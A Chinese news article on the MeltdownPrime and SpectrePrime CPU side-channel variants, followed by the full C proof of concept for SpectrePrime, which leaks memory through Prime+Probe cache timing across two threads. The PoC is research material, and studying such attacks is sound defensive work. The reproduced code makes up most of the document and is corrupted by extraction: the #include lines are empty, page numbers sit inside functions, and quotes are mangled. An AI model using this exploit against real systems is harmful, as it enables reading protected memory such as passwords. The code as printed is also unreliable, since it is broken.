新闻快讯
< >

CPU漏洞变种攻击:MeltdownPrime和SpectrePrime(含PoC)

作为近年来曝出的最严重的计算机硬件安全漏洞,别有用心的攻击者可以利用处理器的“幽灵”(Spectre)和“熔毁”(Meltdown)漏洞来访问计算机上受保护的内存信息,比如浏览器中保存的账号密码、或者电子邮件等隐私内容。尴尬的是,尽管全行业软硬件厂商在努力制作补丁,有关这两个安全漏洞的新变种攻击还是不断涌现。

CPU漏洞风波再起!出现SpectrePrime和MeltdownPrime新变种-E安全

英特尔、AMD 等软硬件厂商推出了修复补丁,但对计算机性能造成了一定程度的不利影响。深受影响的英特尔表示,该公司承诺在后续 CPU 中消除这一漏洞。

然而英伟达和普林斯顿大学的一支研究团队,刚刚在一份新报告(PDF)中揭示了两个 Meltdown 和 Spectre 漏洞利用的新方法,分别叫做“MeltdownPrime”和“SpectrePrime”。

据悉,攻击者可以让 CPU 的两个核心互相敌对,以欺骗多核系统放弃缓存数据。下面是这份研究报告总结部分的摘录:

Spectre 和 Meltdown 存在的情况下,相干失效使得一种 Prime+Probe 攻击成为了可能,精度可达到与 Flush+Reload 攻击的相同级别,以及泄露相同的信息类型。

利用缓存的失效,变种 Meltdown 和 Spectre 在使用 Prime+Probe 旁路信道攻击时,能够以相同的细粒度来泄露受害者的内存。

基于某种无效的一致性协议,MeltdownPrime 和 SpectrePrime 由系统中发起的写入请求引起。

总而言之,当前可用的补丁和安全更新有可能已经解决了变种攻击的问题。但是基于最新的状况,英特尔和 AMD 或需要考虑对其即将推出的 CPU 硬件加以调整。

SpectrePrime PoC:

/*
* 
=====================================================================================
* Filename: spectreprime-poc.c
* Description: POC SpectrePrime
*
* Version: 0.1
* Created: 01/21/2018
* Revision: none
* Compiler: gcc -pthread spectreprime-poc.c -o poc
* Author: Caroline Trippel
*
* Adapted from POC Spectre
* POC Spectre Authors: Paul Kocher, Daniel Genkin, Daniel Gruss, Werner 
Haas, Mike Hamburg,
* Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz, Yuval 
Yarom (2017)
* 
=====================================================================================
*/
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#import 
struct pp_arg_struct {
int junk;
int tries;
int *results;
};
struct pt_arg_struct {
size_t malicious_x;
int tries;
};
// used for setting thread affinty on macOS
kern_return_t thread_policy_set(
thread_t thread,
thread_policy_flavor_t flavor,
thread_policy_t policy_info,
mach_msg_type_number_t count);
kern_return_t thread_policy_get(
thread_t thread,
thread_policy_flavor_t flavor,
thread_policy_t policy_info,
mach_msg_type_number_t *count,
boolean_t *get_default);
#define handle_error_en(en, msg) \
do { errno = en; perror(msg); exit(EXIT_FAILURE); } while (0)
#ifdef _MSC_VER
#include  /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include  /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
volatile int flag = 0;
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler wonat optimize out 
victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
//__asm__("lfence"); or __asm__("mfence"); /* both break Spectre & 
SpectrePrime in our experiments*/
9
array2[array1[x] * 512] = 1;
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_MISS_THRESHOLD (60) /* assume cache miss if time >= 
threshold */
int prime() {
int i, junk = 0;
for (i = 0; i < 256; i++)
junk += array2[i * 512];
return junk;
}
void test(size_t malicious_x, int tries) {
int j;
size_t training_x, x;
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
volatile int z = 0;
for (z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 
*/
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0
 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
}
void probe(int junk, int tries, int results[256]) {
int i, mix_i;
volatile uint8_t *addr;
register uint64_t time1, time2;
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED
 TIME */
if (time2 >= CACHE_MISS_THRESHOLD && mix_i != array1[tries % 
array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
}
void *primeProbe(void *arguments) { //int junk, int tries, int 
results[256]) {
struct pp_arg_struct *args = arguments;
int junk = args->junk;
int tries = args->tries;
int *results = args->results;
prime();
while (flag != 1) { }
flag = 0;
probe(junk, tries, results);
}
void *primeTest(void *arguments) { //size_t malicious_x, int tries) {
struct pt_arg_struct *args = arguments;
size_t malicious_x = args->malicious_x;
int tries = args->tries;
prime();
test(malicious_x, tries);
flag = 1;
}
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, junk = 0;
pthread_t pp_thread, pt_thread;
struct pp_arg_struct pp_args;
10
struct pt_arg_struct pt_args;
pt_args.malicious_x = malicious_x;
pp_args.results = results;
pp_args.junk = junk;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
pp_args.tries = tries;
pt_args.tries = tries;
// heuristics to encourge thread affinity on macOS
// 
https://developer.apple.com/library/content/releasenotes/Performance/RN-AffinityAPI/index.html
if(pthread_create_suspended_np(&pp_thread, NULL, primeProbe, 
&pp_args) != 0) abort();
mach_port_t mach_pp_thread = pthread_mach_thread_np(pp_thread);
thread_affinity_policy_data_t policyData1 = { 1 };
thread_policy_set(mach_pp_thread, THREAD_AFFINITY_POLICY, 
(thread_policy_t)&policyData1, 1);
if(pthread_create_suspended_np(&pt_thread, NULL, primeTest, 
&pt_args) != 0) abort();
mach_port_t mach_pt_thread = pthread_mach_thread_np(pt_thread);
thread_affinity_policy_data_t policyData2 = { 2 };
thread_policy_set(mach_pt_thread, THREAD_AFFINITY_POLICY, 
(thread_policy_t)&policyData2, 1);
thread_resume(mach_pp_thread);
thread_resume(mach_pt_thread);
// join threads
pthread_join(pp_thread, NULL);
pthread_join(pt_thread, NULL);
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 &&
 results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above wonat get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for 
malicious_x */
int i, j, s, score[2], len=40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages
 */
if (argc == 3) {
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
printf("0x%02X=%c score=’%d’ ",
value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : ’?’),
score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X=%c score=%d)", value[1], (value[0] > 31 
&& value[0] < 127 ? value[0] : ’?’), score[1]);
printf("\n");
}
return (0);
}